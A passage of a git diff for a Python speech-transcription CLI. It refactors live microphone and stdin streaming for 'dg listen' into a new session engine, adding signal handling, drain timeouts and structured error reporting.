 create mode 100644 packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py
 create mode 100644 packages/deepctl-cmd-listen/tests/unit/test_live.py
 create mode 100644 packages/deepctl-cmd-listen/tests/unit/test_live_command.py
 create mode 100644 packages/deepctl-cmd-listen/tests/unit/test_live_exit.py

diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/captions.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/captions.py
index 479225eb..355257a5 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/captions.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/captions.py
@@ -107,12 +107,12 @@ def print_header(self, note: str | None = None) -> None:
         etc.) in a spec-compliant way. SRT has no header equivalent.
         """
         if self.fmt == "webvtt":
-            print("WEBVTT")
-            print()
+            print("WEBVTT", flush=True)
+            print(flush=True)
             if note:
-                print("NOTE")
-                print(note)
-                print()
+                print("NOTE", flush=True)
+                print(note, flush=True)
+                print(flush=True)
 
     def write_entry(
         self,
@@ -137,17 +137,17 @@ def write_entry(
         first_speaker: int | None = words[0].get("speaker") if words else None
 
         if self.fmt == "webvtt":
-            print(f"{_fmt_webvtt(start)} --> {_fmt_webvtt(end)}")
+            print(f"{_fmt_webvtt(start)} --> {_fmt_webvtt(end)}", flush=True)
             prefix = f"<v Speaker {first_speaker}>" if first_speaker is not None else ""
-            print(f"{prefix}{text}")
-            print()
+            print(f"{prefix}{text}", flush=True)
+            print(flush=True)
         else:
-            print(self._count)
-            print(f"{_fmt_srt(start)} --> {_fmt_srt(end)}")
+            print(self._count, flush=True)
+            print(f"{_fmt_srt(start)} --> {_fmt_srt(end)}", flush=True)
             if first_speaker is not None:
-                print(f"[Speaker {first_speaker}]")
-            print(text)
-            print()
+                print(f"[Speaker {first_speaker}]", flush=True)
+            print(text, flush=True)
+            print(flush=True)
 
     @property
     def accumulated_words(self) -> list[dict[str, Any]]:
diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
index 41ff9f12..252507d7 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
@@ -14,11 +14,13 @@
 from __future__ import annotations
 
 import json
+import os
+import signal
 import sys
 import threading
 from pathlib import Path
 from typing import TYPE_CHECKING, Any
-from urllib.parse import urlencode
+from urllib.parse import urlencode, urlsplit
 
 import click
 from deepctl_core import (
@@ -28,13 +30,20 @@
     Config,
     DeepgramClient,
 )
-from deepctl_core.output import _agentic, print_warning
-from deepctl_core.websocket import connect_async
+from deepctl_core.hosts import CredentialHostError
+from deepctl_core.output import (
+    _agentic,
+    is_ai_agent,
+    print_error,
+    print_hint,
+    print_warning,
+)
 from rich.console import Console
 from rich.markup import escape
 from rich.prompt import Confirm, Prompt
 from rich.table import Table
 
+from . import messages as msg
 from .captions import (
     StreamingCaptionWriter,
     captions_from_prerecorded,
@@ -48,11 +57,13 @@
     format_diarized_transcript,
     format_diarized_words,
 )
-from .models import ListenResult
+from .models import ListenCodedError, ListenResult
 
 if TYPE_CHECKING:
     import asyncio
 
+    from . import live
+
 # Status messages → stderr so stdout stays clean for transcript piping
 status = Console(stderr=True)
 # Structured output (table, json) → stdout
@@ -80,41 +91,62 @@ def _ws_base(client: DeepgramClient) -> str:
     return f"{'ws' if scheme.lower() in ('http', 'ws') else 'wss'}://{rest}"
 
 
-def _live_connect(url: str, api_key: str | None) -> Any:
-    """Open the live WebSocket for ``async with``, without redirects.
-
-    A 3xx on the upgrade, same origin or not, stops the command before a
-    second connection is opened, so the key and the audio go only to the
-    host that passed the host check.
-    """
-    return connect_async(
-        url,
-        {"Authorization": f"Token {api_key}"},
-        command="dg listen",
-        payload="audio",
-    )
-
-
 # asyncio (and with it ssl) loads only when a live stream starts, so
 # `dg listen --help` and the prerecorded path don't import it.
+# The live engine imports asyncio, so it loads lazily too.
 def __getattr__(name: str) -> Any:
     if name == "asyncio":
         import asyncio
 
         return asyncio
+    if name == "live":
+        from . import live
+
+        return live
     raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
 
 
-async def _cancel_and_drain(*tasks: asyncio.Task[Any]) -> None:
-    """Cancel tasks and consume their terminal exceptions during teardown."""
-    for task in tasks:
-        if not task.done():
-            task.cancel()
-    for task in tasks:
-        try:
-            await task
-        except BaseException:
-            pass
+_freeze_registered = False
+
+
+def _freeze_at_exit() -> None:
+    """At interpreter exit, move every live object out of the collector's
+    reach. The final collection then takes a few ms instead of about 100,
+    so dg exits right after the server's close (plan T23). Registered with
+    atexit, so a long-lived host that runs the command is unaffected."""
+    global _freeze_registered
+    if _freeze_registered:
+        return
+    _freeze_registered = True
+    import atexit
+    import gc
+
+    atexit.register(gc.freeze)
+
+
+def _stdin_fd() -> int:
+    """The descriptor live stdin streaming reads (a seam for tests)."""
+    return 0
+
+
+def _prog() -> str:
+    """The program name to show in messages and ``next_step``.
+
+    The bare name when it resolves on PATH to the running executable;
+    otherwise ``dg``.
+    """
+    import shutil
+
+    try:
+        argv0 = sys.argv[0]
+        name = os.path.basename(argv0)
+        if name in ("dg", "deepgram", "deepctl"):
+            found = shutil.which(name)
+            if found and os.path.realpath(found) == os.path.realpath(argv0):
+                return name
+    except Exception:
+        pass
+    return "dg"
 
 
 class ListenCommand(BaseCommand):
@@ -133,6 +165,11 @@ class ListenCommand(BaseCommand):
     requires_project = False
     ci_friendly = True
 
+    #: Host of the live socket, for network_unavailable details.
+    _ws_host: str = ""
+    #: Set after a SIGTERM drain; exit_code_for re-raises it.
+    _reraise_signal: int | None = None
+
     examples = [
         "dg listen audio.mp3",
         "dg listen https://example.com/call.mp3 --diarize",
@@ -330,7 +367,7 @@ def handle(
         auth_manager: AuthManager,
         client: DeepgramClient,
         **kwargs: Any,
-    ) -> BaseResult:
+    ) -> BaseResult | ListenCodedError:
         source: str | None = kwargs.get("source")
         use_mic: bool = kwargs.get("mic", False)
         guided_flow = False
@@ -747,7 +784,7 @@ def _prerecorded(
             duration_seconds=duration_seconds,
         )
 
-    # ── Live mic handler ───────────────────────────────────────────────
+    # ── Live streaming (mic and stdin) ─────────────────────────────────
 
     def _stream_mic(
         self,
@@ -766,7 +803,15 @@ def _stream_mic(
         channels: int,
         save_to: str | None,
         caption_format: str | None,
-    ) -> BaseResult:
+    ) -> BaseResult | ListenCodedError:
+        import asyncio
+
+        from . import live
+
+        # From here on Ctrl-C ends the mic session, even before the
+        # session's own handler is in place (imports, connecting).
+        early = live.EarlyStop()
+        early.install()
         caption_writer: StreamingCaptionWriter | None = None
 
         if caption_format:
@@ -775,9 +820,12 @@ def _stream_mic(
             if diarize:
                 note += " · Speaker labels enabled"
             note += " · Ctrl+C to stop"
-            caption_writer.print_header(
-                note=note if caption_format == "webvtt" else None
-            )
+            try:
+                caption_writer.print_header(
+                    note=note if caption_format == "webvtt" else None
+                )
+            except BrokenPipeError:
+                live.silence_stdout()
         else:
             status.print(
                 f"[green]✓[/green] Listening on microphone · {model} · Ctrl+C to stop"
@@ -785,10 +833,9 @@ def _stream_mic(
             if diarize:
                 status.print("[dim]Speaker labels enabled[/dim]")
 
-        import asyncio
-
         try:
-            result = asyncio.run(
+            _freeze_at_exit()
+            return asyncio.run(
                 self._ws_mic(
                     client,
                     model=model,
@@ -803,42 +850,30 @@ def _stream_mic(
                     sample_rate=sample_rate,
                     channels=channels,
                     caption_writer=caption_writer,
+                    caption_format=caption_format,
+                    save_to=save_to,
+                    early=early,
                 )
             )
-        except KeyboardInterrupt:
-            status.print("\n[yellow]Stopped.[/yellow]")
-            result = ListenResult(status="success", source="mic", mode="live")
         except click.ClickException:
             raise
+        except CredentialHostError:
+            raise
         except Exception as e:
             err = str(e)
-            msg = f"Microphone error: {err}"
+            msg_text = f"Microphone error: {err}"
             if (
                 "Invalid input device" in err
                 or "PortAudio" in err
                 or "No Default Input" in err
             ):
-                msg += (
+                msg_text += (
                     "\n\nOn macOS, make sure your terminal has microphone access:"
                     "\n  System Settings → Privacy & Security → Microphone"
                 )
-            return BaseResult(status="error", message=msg)
-
-        # Save captions or transcript
-        if save_to:
-            if caption_writer and caption_writer.accumulated_words:
-                content = captions_from_words(
-                    caption_writer.accumulated_words, caption_format or "webvtt"
-                )
-            elif result.transcript:
-                content = result.transcript
-            else:
-                content = ""
-            if content:
-                self._save_transcript(content, save_to)
-                status.print(f"[green]✓[/green] Saved to {save_to}")
-
-        return result
+            return BaseResult(status="error", message=msg_text)
+        finally:
+            early.restore()
 
     async def _ws_mic(
         self,
@@ -856,12 +891,17 @@ async def _ws_mic(
         sample_rate: int,
         channels: int,
         caption_writer: StreamingCaptionWriter | None = None,
-    ) -> ListenResult:
+        caption_format: str | None = None,
+        save_to: str | None = None,
+        early: live.EarlyStop | None = None,
+    ) -> BaseResult | ListenCodedError:
         import asyncio
 
         import numpy as np
         import sounddevice as sd
 
+        from . import live
+
         url = self._ws_url(
             client,
             api_version=api_version,
@@ -877,86 +917,86 @@ async def _ws_mic(
             sample_rate=sample_rate,
             channels=channels,
         )
+        self._ws_host = urlsplit(url).hostname or ""
         api_key = client.auth_manager.get_api_key()
         full_transcript: list[str] = []
         v2_state = self._new_v2_state() if api_version >= 2 else None
-        stop_event = threading.Event()
 
-        async with _live_connect(url, api_key) as ws:
+        loop = asyncio.get_running_loop()
+        queue: asyncio.Queue[Any] = asyncio.Queue()
+        closing = threading.Event()
+        stream: Any = None
 
-            async def send_audio() -> None:
-                loop = asyncio.get_event_loop()
-                q: asyncio.Queue[bytes] = asyncio.Queue()
+        def callback(indata: Any, frames: int, t: Any, s: Any) -> None:
+            if closing.is_set():
+                return
+            if s:
+                print_warning(
+                    f"Audio warning: {escape(str(s))}",
+                    stderr=True,
+                    ignore_quiet=True,
+                )
+            try:
+                loop.call_soon_threadsafe(queue.put_nowait, bytes(indata))
+            except RuntimeError:
+                pass  # the event loop already closed
+
+        def start_mic() -> None:
+            nonlocal stream
+            stream = sd.RawInputStream(
+                samplerate=sample_rate,
+                channels=channels,
+                dtype=np.int16,
+                callback=callback,
+                blocksize=int(sample_rate * 0.1),
+            )
+            stream.start()
 
-                def callback(indata: Any, frames: int, t: Any, s: Any) -> None:
-                    if s:
-                        print_warning(
-                            f"Audio warning: {escape(str(s))}",
-                            stderr=True,
-                            ignore_quiet=True,
-                        )
-                    loop.call_soon_threadsafe(q.put_nowait, bytes(indata))
+        def on_message(raw: str | bytes) -> None:
+            self._handle_ws_message(
+                raw,
+                full_transcript,
+                diarize=diarize,
+                interim=interim,
+                caption_writer=caption_writer,
+                v2_state=v2_state,
+            )
 
-                stream = sd.RawInputStream(
-                    samplerate=sample_rate,
-                    channels=channels,
-                    dtype=np.int16,
-                    callback=callback,
-                    blocksize=int(sample_rate * 0.1),
-                )
-                stream.start()
+        try:
+            outcome = await live.run_session(
+                url,
+                {"Authorization": f"Token {api_key}"},
+                on_message=on_message,
+                queue=queue,
+                closing=closing,
+                start_source=start_mic,
+                byte_rate=live.bytes_per_second("linear16", sample_rate, channels),
+                stop=early.bind(loop) if early is not None else None,
+            )
+            if early is not None and outcome.signal is None:
+                outcome.signal = early.signum
+        finally:
+            closing.set()
+            if stream is not None:
                 try:
-                    while not stop_event.is_set():
-                        try:
-                            data = await asyncio.wait_for(q.get(), timeout=0.5)
-                            await ws.send(data)
-                        except asyncio.TimeoutError:
-                            continue
-                finally:
                     stream.stop()
                     stream.close()
-                    await ws.send(json.dumps({"type": "CloseStream"}))
-
-            async def recv_transcripts() -> None:
-                async for msg in ws:
-                    self._handle_ws_message(
-                        msg,
-                        full_transcript,
-                        diarize=diarize,
-                        interim=interim,
-                        caption_writer=caption_writer,
-                        v2_state=v2_state,
-                    )
-
-            send_task = asyncio.create_task(send_audio())
-            recv_task = asyncio.create_task(recv_transcripts())
-            try:
-                await asyncio.gather(send_task, recv_task)
-            except (KeyboardInterrupt, asyncio.CancelledError):
-                stop_event.set()
-                await _cancel_and_drain(send_task, recv_task)
-            except BaseException:
-                stop_event.set()
-                await _cancel_and_drain(send_task, recv_task)
-                raise
-
-        # Flux may close mid-turn without an EndOfTurn; emit what we have.
-        if v2_state is not None:
-            self._flush_v2(v2_state, full_transcript, caption_writer=caption_writer)
+                except Exception:
+                    pass
 
-        return ListenResult(
-            status="success",
+        return self._finish_live(
+            outcome,
             source="mic",
-            mode="live",
             model=model,
             language=language,
-            diarized=diarize,
-            transcript=" ".join(full_transcript),
-            caption_format=caption_writer.fmt if caption_writer else None,
+            diarize=diarize,
+            transcript_acc=full_transcript,
+            caption_writer=caption_writer,
+            caption_format=caption_format,
+            save_to=save_to,
+            v2_state=v2_state,
         )
 
-    # ── Live stdin handler ─────────────────────────────────────────────
-
     def _stream_stdin(
         self,
         client: DeepgramClient,
@@ -975,7 +1015,11 @@ def _stream_stdin(
         channels: int,
         save_to: str | None,
         caption_format: str | None,
-    ) -> BaseResult:
+    ) -> BaseResult | ListenCodedError:
+        import asyncio
+
+        from . import live
+
         resolved_encoding = encoding or "linear16"
         if not encoding:
             print_warning(
@@ -993,53 +1037,38 @@ def _stream_stdin(
             if diarize:
                 note += " · Speaker labels enabled"
             note += " · Ctrl+D to finish"
-            caption_writer.print_header(
-                note=note if caption_format == "webvtt" else None
-            )
+            try:
+                caption_writer.print_header(
+                    note=note if caption_format == "webvtt" else None
+                )
+            except BrokenPipeError:
+                live.silence_stdout()
         else:
             status.print(
                 f"[green]✓[/green] Streaming stdin · {model} · send EOF (Ctrl+D) to finish"
             )
 
-        import asyncio
-
-        try:
-            result = asyncio.run(
-                self._ws_stdin(
-                    client,
-                    model=model,
-                    language=language,
-                    api_version=api_version,
-                    diarize=diarize,
-                    smart_format=smart_format,
-                    punctuate=punctuate,
-                    interim=interim,
-                    redact=redact,
-                    numerals=numerals,
-                    encoding=resolved_encoding,
-                    sample_rate=sample_rate,
-                    channels=channels,
-                    caption_writer=caption_writer,
-                )
+        _freeze_at_exit()
+        return asyncio.run(
+            self._ws_stdin(
+                client,
+                model=model,
+                language=language,
+                api_version=api_version,
+                diarize=diarize,
+                smart_format=smart_format,
+                punctuate=punctuate,
+                interim=interim,
+                redact=redact,
+                numerals=numerals,
+                encoding=resolved_encoding,
+                sample_rate=sample_rate,
+                channels=channels,
+                caption_writer=caption_writer,
+                caption_format=caption_format,
+                save_to=save_to,
             )
-        except KeyboardInterrupt:
-            status.print("\n[yellow]Stopped.[/yellow]")
-            result = ListenResult(status="success", source="stdin", mode="live")
-
-        if save_to:
-            if caption_writer and caption_writer.accumulated_words:
-                content = captions_from_words(
-                    caption_writer.accumulated_words, caption_format or "webvtt"
-                )
-            elif result.transcript:
-                content = result.transcript
-            else:
-                content = ""
-            if content:
-                self._save_transcript(content, save_to)
-                status.print(f"[green]✓[/green] Saved to {save_to}")
-
-        return result
+        )
 
     async def _ws_stdin(
         self,
@@ -1058,9 +1087,13 @@ async def _ws_stdin(
         sample_rate: int,
         channels: int,
         caption_writer: StreamingCaptionWriter | None = None,
-    ) -> ListenResult:
+        caption_format: str | None = None,
+        save_to: str | None = None,
+    ) -> BaseResult | ListenCodedError:
         import asyncio
 
+        from . import live
+
         url = self._ws_url(
             client,
             api_version=api_version,
@@ -1076,95 +1109,216 @@ async def _ws_stdin(
             sample_rate=sample_rate,
             channels=channels,
         )
+        self._ws_host = urlsplit(url).hostname or ""
         api_key = client.auth_manager.get_api_key()
         full_transcript: list[str] = []
         v2_state = self._new_v2_state() if api_version >= 2 else None
 
-        async with _live_connect(url, api_key) as ws:
-            loop = asyncio.get_running_loop()
-            audio_queue: asyncio.Queue[bytes | Exception | None] = asyncio.Queue()
-            stop_reader = threading.Event()
-
-            def post_audio(item: bytes | Exception | None) -> None:
-                if stop_reader.is_set():
-                    return
-                try:
-                    loop.call_soon_threadsafe(audio_queue.put_nowait, item)
-                except RuntimeError:
-                    # The event loop already closed after a stream failure.
-                    pass
+        loop = asyncio.get_running_loop()
+        queue: asyncio.Queue[Any] = asyncio.Queue()
+        closing = threading.Event()
+        reader = live.StdinReader(
+            loop,
+            queue,
+            closing,
+            read_size=live.DEFAULT_READ_BYTES,
+            fd=_stdin_fd(),
+        )
 
-            def read_stdin() -> None:
-                try:
-                    while not stop_reader.is_set():
-                        data = sys.stdin.buffer.read(4096)
-                        if stop_reader.is_set():
-                            return
-                        post_audio(data or None)
-                        if not data:
-                            return
-                except Exception as exc:
-                    post_audio(exc)
-
-            reader_thread = threading.Thread(
-                target=read_stdin,
-                name="deepctl-stdin-reader",
-                daemon=True,
+        def on_message(raw: str | bytes) -> None:
+            self._handle_ws_message(
+                raw,
+                full_transcript,
+                diarize=diarize,
+                interim=interim,
+                caption_writer=caption_writer,
+                v2_state=v2_state,
             )
 
-            async def send_audio() -> None:
-                reader_thread.start()
-                try:
-                    while True:
-                        item = await audio_queue.get()
-                        if item is None:
-                            break
-                        if isinstance(item, Exception):
-                            raise item
-                        await ws.send(item)
-                    await ws.send(json.dumps({"type": "CloseStream"}))
-                finally:
-                    stop_reader.set()
-
-            async def recv_transcripts() -> None:
-                async for msg in ws:
-                    self._handle_ws_message(
-                        msg,
-                        full_transcript,
-                        diarize=diarize,
-                        interim=interim,
-                        caption_writer=caption_writer,
-                        v2_state=v2_state,
-                    )
+        outcome = await live.run_session(
+            url,
+            {"Authorization": f"Token {api_key}"},
+            on_message=on_message,
+            queue=queue,
+            closing=closing,
+            start_source=reader.start,
+            byte_rate=live.bytes_per_second(encoding, sample_rate, channels),
+        )
+        return self._finish_live(
+            outcome,
+            source="stdin",
+            model=model,
+            language=language,
+            diarize=diarize,
+            transcript_acc=full_transcript,
+            caption_writer=caption_writer,
+            caption_format=caption_format,
+            save_to=save_to,
+            v2_state=v2_state,
+        )
 
-            send_task = asyncio.create_task(send_audio())
-            recv_task = asyncio.create_task(recv_transcripts())
-            try:
-                await asyncio.gather(send_task, recv_task)
-            except (KeyboardInterrupt, asyncio.CancelledError):
-                # Mirror the mic path: on Ctrl-C drain the tasks but do NOT
-                # re-raise, so we fall through to _flush_v2 + the return below
-                # and the partial transcript (and --save-to) survive. Fatal
-                # errors still propagate via the BaseException clause.
-                await _cancel_and_drain(send_task, recv_task)
-            except BaseException:
-                await _cancel_and_drain(send_task, recv_task)
-                raise
+    def _finish_live(
+        self,
+        outcome: live.LiveOutcome,
+        *,
+        source: str,
+        model: str,
+        language: str,
+        diarize: bool,
+        transcript_acc: list[str],
+        caption_writer: StreamingCaptionWriter | None,
+        caption_format: str | None,
+        save_to: str | None,
+        v2_state: dict[str, Any] | None,
+    ) -> BaseResult | ListenCodedError:
+        """Turn a session outcome into the command result, after the socket
+        is closed: flush Flux turns, report, and run ``--save-to``."""
+        from . import live
 
         # Flux may close mid-turn without an EndOfTurn; emit what we have.
         if v2_state is not None:
-            self._flush_v2(v2_state, full_transcript, caption_writer=caption_writer)
+            try:
+                self._flush_v2(v2_state, transcript_acc, caption_writer=caption_writer)
+            except BrokenPipeError:
+                live.silence_stdout()
 
-        return ListenResult(
+        if outcome.status == "cancelled":
+            status.print("\n[yellow]Stopped.[/yellow]")
+            if outcome.incomplete:
+                print_warning(msg.W_LISTEN_STOP_INCOMPLETE, stderr=True)
+            if outcome.signal == getattr(signal, "SIGTERM", None):
+                # Drained like Ctrl-C; the process then ends by SIGTERM
+                # (exit_code_for), so supervisors see the status they sent.
+                self._reraise_signal = outcome.signal
+
+        transcript = " ".join(transcript_acc)
+        saved_to: str | None = None
+        if save_to:
+            if caption_writer and caption_writer.accumulated_words:
+                content = captions_from_words(
+                    caption_writer.accumulated_words, caption_format or "webvtt"
+                )
+            else:
+                content = transcript
+            if content:
+                self._save_transcript(content, save_to)
+                saved_to = save_to
+                status.print(f"[green]✓[/green] Saved to {save_to}")
+
+        def kept() -> dict[str, Any]:
+            # The finals received so far travel with a failure.
+            out: dict[str, Any] = {
+                "transcript": transcript,
+                "transcript_chars": len(transcript),
+            }
+            if saved_to:
+                out["saved_to"] = saved_to
+            return out
+
+        if outcome.status == "drain_timeout":
+            limit = round(outcome.drain_limit_s, 3)
+            template = (
+                msg.E_DRAIN_CAP
+                if outcome.drain_reason == "cap"
+                else msg.E_DRAIN_TIMEOUT
+            )
+            text = template.format(limit_s=f"{limit:g}")
+            return self._coded_failure(
+                text,
+                code=msg.CODE_STREAM_DRAIN_TIMEOUT,
+                hint_human=msg.H_DRAIN_TIMEOUT,
+                hint_agent=msg.H_DRAIN_TIMEOUT,
+                details={
+                    "reason": outcome.drain_reason or "idle",
+                    "limit_s": limit,
+                    **kept(),
+                },
+            )
+        if outcome.status == "error" and outcome.kind == "server":
+            server: dict[str, Any] = {}
+            if outcome.close_code is not None:
+                server["close_code"] = outcome.close_code
+            if outcome.request_id:
+                server["request_id"] = outcome.request_id
+            return self._coded_failure(
+                outcome.error or "",
+                code=msg.CODE_SERVER_ERROR,
+                hint_human=msg.H_SERVER,
+                hint_agent=msg.A_SERVER,
+                details={**server, **kept()},
+            )
+        if outcome.status == "error" and outcome.kind == "network":
+            return self._coded_failure(
+                outcome.error or msg.E_LISTEN_CONNECTION_LOST,
+                code=msg.CODE_NETWORK_UNAVAILABLE,
+                hint_human=msg.H_NETWORK,
+                hint_agent=msg.A_NETWORK.format(prog=_prog()),
+                details={
+                    "host": self._ws_host,
+                    "reason": "connection lost",
+                    **kept(),
+                },
+            )
+
+        if outcome.status == "error":
+            # Reading stdin failed (EISDIR, EBADF, EIO on a hang-up). The
+            # fix is the same as for a missing source: pass a file or URL.
+            return self._coded_failure(
+                outcome.error or "",
+                code=msg.CODE_INVALID_ARGUMENT,
+                hint_human=msg.H_LISTEN_STDIN_UNREADABLE,
+                hint_agent=msg.A_LISTEN_STDIN_UNREADABLE,
+                details=kept(),
+                next_step=f"{_prog()} {self.name} --help",
+            )
+
+        result = ListenResult(
             status="success",
-            source="stdin",
+            source=source,
             mode="live",
             model=model,
             language=language,
             diarized=diarize,
-            transcript=" ".join(full_transcript),
+            transcript=transcript,
             caption_format=caption_writer.fmt if caption_writer else None,
         )
+        if outcome.status == "cancelled" and not (
+            source == "mic" and outcome.signal == signal.SIGINT
+        ):
+            # Ctrl-C is how a mic session normally ends: the transcript so
+            # far is the result, exit 0. Other sources, and SIGTERM for
+            # every source, stay "cancelled". Ctrl-Break on Windows is a
+            # hard stop like SIGTERM, so it stays "cancelled" on mic too.
+            result.status = "cancelled"
+        return result
+
+    def _coded_failure(
+        self,
+        text: str,
+        *,
+        code: str,
+        hint_human: str,
+        hint_agent: str,
+        details: dict[str, Any],
+        next_step: str | None = None,
+    ) -> ListenCodedError:
+        """Report a live-stream failure on stderr and return its envelope."""
+        hint = hint_agent if (_agentic or is_ai_agent()) else hint_human
+        print_error(escape(text))
+        print_hint(escape(hint))
+        return ListenCodedError(
+            error=text, code=code, hint=hint, next_step=next_step, details=details
+        )
+
+    def exit_code_for(self, result: Any) -> int:
+        """A SIGTERM-drained stream ends by SIGTERM itself: the
+        result is already written, so flush and re-raise it here."""
+        if self._reraise_signal is not None:
+            signum, self._reraise_signal = self._reraise_signal, None
+            from . import live
+
+            live.die_by_signal(signum)
+        return super().exit_code_for(result)
 
     # ── Shared WebSocket helpers ───────────────────────────────────────
 
@@ -1256,7 +1410,9 @@ def _handle_ws_message(
         if msg_type == "Error" and v2_state is not None:
             code = data.get("code") or "UNKNOWN_ERROR"
             description = data.get("description") or "No description provided"
-            raise click.ClickException(f"Flux STT error ({code}): {description}")
+            raise click.ClickException(
+                msg.E_LISTEN_FLUX_ERROR.format(flux_code=code, description=description)
+            )
 
         if msg_type != "Results":
             return
diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/live.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/live.py
new file mode 100644
index 00000000..9e7378f2
--- /dev/null
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/live.py
@@ -0,0 +1,673 @@
+"""Live streaming engine for ``dg listen`` (stdin and microphone).
+
+One WebSocket session: audio goes up from a queue, transcripts come
+down to a callback, and the session ends one of four ways:
+
+- the server closes the stream (exit 0, or 1 if it reported an error);
+- stdin reaches end of input: ``CloseStream``, then wait for the server to
+  close under an idle deadline and an absolute cap (``stream_drain_timeout``
+  if either expires);
+- Ctrl-C (or Ctrl-Break on Windows): ``CloseStream``, then wait at most
+  ``STOP_DRAIN_S`` for the server's last results (exit 2). On ``--mic``,
+  Ctrl-C is how the session ends, so it exits 0; Ctrl-Break stays a hard
+  stop (exit 2). SIGTERM on POSIX drains the same way, and the command
+  then re-raises it. A second signal ends the process at once;
+- the connection fails (exit 1).
+
+Stdin is read with ``os.read(0, cap)`` in a daemon thread that hands each
+buffer to the event loop and waits until the queue accepts it. The thread is
+never joined. Before every read and every hand-off it checks ``closing``,
+which shutdown sets before it cancels any task; anything raised in the thread
+(including a cancelled hand-off while the loop shuts down) ends the thread
+quietly. ``loop.connect_read_pipe`` isn't used: it rejects a regular file on
+stdin, misbehaves on ``/dev/null``, sets ``O_NONBLOCK`` on a descriptor shared
+with the parent, and doesn't work with the Windows Proactor loop.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import json
+import os
+import re
+import signal
+import threading
+import time
+from dataclasses import dataclass
+from typing import TYPE_CHECKING, Any
+
+import click
+
+from . import messages as msg
+
+if TYPE_CHECKING:
+    from collections.abc import Callable
+
+# ── Tunables ────────────────────────────────────────────────────────────────
+
+#: Largest single read from stdin.
+DEFAULT_READ_BYTES = 4096
+#: Ctrl-C: how long to wait for the server's last results after CloseStream.
+STOP_DRAIN_S = 1.0
+#: End of input: give up when the server has sent nothing for this long.
+EOF_IDLE_S = 10.0
+#: End of input: the absolute cap is max(EOF_CAP_MIN_S, 2 x the work left).
+EOF_CAP_MIN_S = 30.0
+#: Bound on the WebSocket closing handshake once the outcome is known.
+CLOSE_TIMEOUT_S = 1.0
+
+#: Bytes per sample for encodings whose byte rate is known from the rate.
+_PCM_WIDTH = {"linear16": 2, "linear32": 4, "mulaw": 1, "alaw": 1}
+
+CLOSE_STREAM = json.dumps({"type": "CloseStream"})
+
+
+def bytes_per_second(encoding: str | None, sample_rate: int, channels: int) -> int:
+    """Byte rate of raw PCM, mulaw or alaw audio; 0 when it isn't knowable."""
+    width = _PCM_WIDTH.get((encoding or "").lower())
+    if not width or sample_rate <= 0 or channels <= 0:
+        return 0
+    return width * sample_rate * channels
+
+
+# ── Audio sources ───────────────────────────────────────────────────────────
+
+
+class StdinReader:
+    """Reads a file descriptor in a daemon thread into a queue.
+
+    Puts ``bytes`` for audio, ``b""`` once at end of input, or the
+    ``OSError`` a read raised. Never joined: a read blocked on an idle pipe
+    can't be interrupted portably, and the process may exit while it waits.
+    """
+
+    def __init__(
+        self,
+        loop: asyncio.AbstractEventLoop,
+        queue: asyncio.Queue[Any],
+        closing: threading.Event,
+        *,
+        read_size: int,
+        fd: int = 0,
+    ) -> None:
+        self._loop = loop
+        self._queue = queue
+        self._closing = closing
+        self._read_size = read_size
+        self._fd = fd
+
+    def start(self) -> None:
+        threading.Thread(
+            target=self._run, name="deepctl-stdin-reader", daemon=True
+        ).start()
+
+    def _put(self, item: Any) -> bool:
+        """Hand ``item`` to the loop and wait for the queue to take it."""
+        if self._closing.is_set() or self._loop.is_closed():
+            return False
+        coro = self._queue.put(item)
+        try:
+            future = asyncio.run_coroutine_threadsafe(coro, self._loop)
+        except BaseException:
+            # The loop closed between the check and the call.
+            coro.close()
+            return False
+        future.result()
+        return True
+
+    def _run(self) -> None:
+        try:
+            # Keep Ctrl-C on the main thread, where the handler runs; a
+            # signal routed here would only interrupt the read.
+            if hasattr(signal, "pthread_sigmask"):
+                signal.pthread_sigmask(
+                    signal.SIG_BLOCK, {signal.SIGINT, signal.SIGTERM}
+                )
+            while not self._closing.is_set():
+                try:
+                    data = os.read(self._fd, self._read_size)
+                except BlockingIOError:
+                    # The parent left O_NONBLOCK on the shared descriptor.
+                    # Wait for data rather than change its flags.
+                    _wait_readable(self._fd)
+                    continue
+                except OSError as exc:
+                    self._put(exc)
+                    return
+                if self._closing.is_set():
+                    return
+                if not self._put(data) or not data:
+                    return
+        except BaseException:
+            # Shutdown cancelled the hand-off, or the loop is gone. Either
+            # way the session no longer wants audio.
+            return
+
+
+def _wait_readable(fd: int) -> None:
+    """Block (in short slices) until ``fd`` has data or is at end of input."""
+    import select
+
+    try:
+        select.select([fd], [], [], 0.2)
+    except (OSError, ValueError):
+        time.sleep(0.2)
+
+
+# ── Session ─────────────────────────────────────────────────────────────────
+
+
+@dataclass
+class LiveOutcome:
+    """How a live session ended."""
+
+    #: "success" (server closed), "cancelled" (Ctrl-C or SIGTERM), "error",
+    #: or "drain_timeout" (end of input, the server never finished).
+    status: str = "success"
+    #: Error text for "error" (already scrubbed and safe to print).
+    error: str | None = None
+    #: For "error": "server" (error close or error frame), "network" (the
+    #: connection dropped) or "read" (stdin failed).
+    kind: str | None = None
+    #: The server's close code, for a "server" error that closed the socket.
+    close_code: int | None = None
+    #: The request id the server reported, when it sent one.
+    request_id: str | None = None
+    #: The signal that stopped a "cancelled" session.
+    signal: int | None = None
+    #: The reader of stdout went away; the session ended quietly.
+    stdout_closed: bool = False
+    #: Ctrl-C: True when the server hadn't finished within STOP_DRAIN_S.
+    incomplete: bool = False
+    #: "idle" or "cap" for a drain timeout.
+    drain_reason: str | None = None
+    #: The bound that expired, in seconds, for a drain timeout.
+    drain_limit_s: float = 0.0
+
+
+@dataclass
+class _Clock:
+    last_server: float = 0.0
+    last_audio: float = 0.0
+    first_send: float | None = None
+    eof_at: float | None = None
+    bytes_sent: int = 0
+    last_final_end: float = 0.0
+
+
+def _final_end(data: dict[str, Any]) -> float | None:
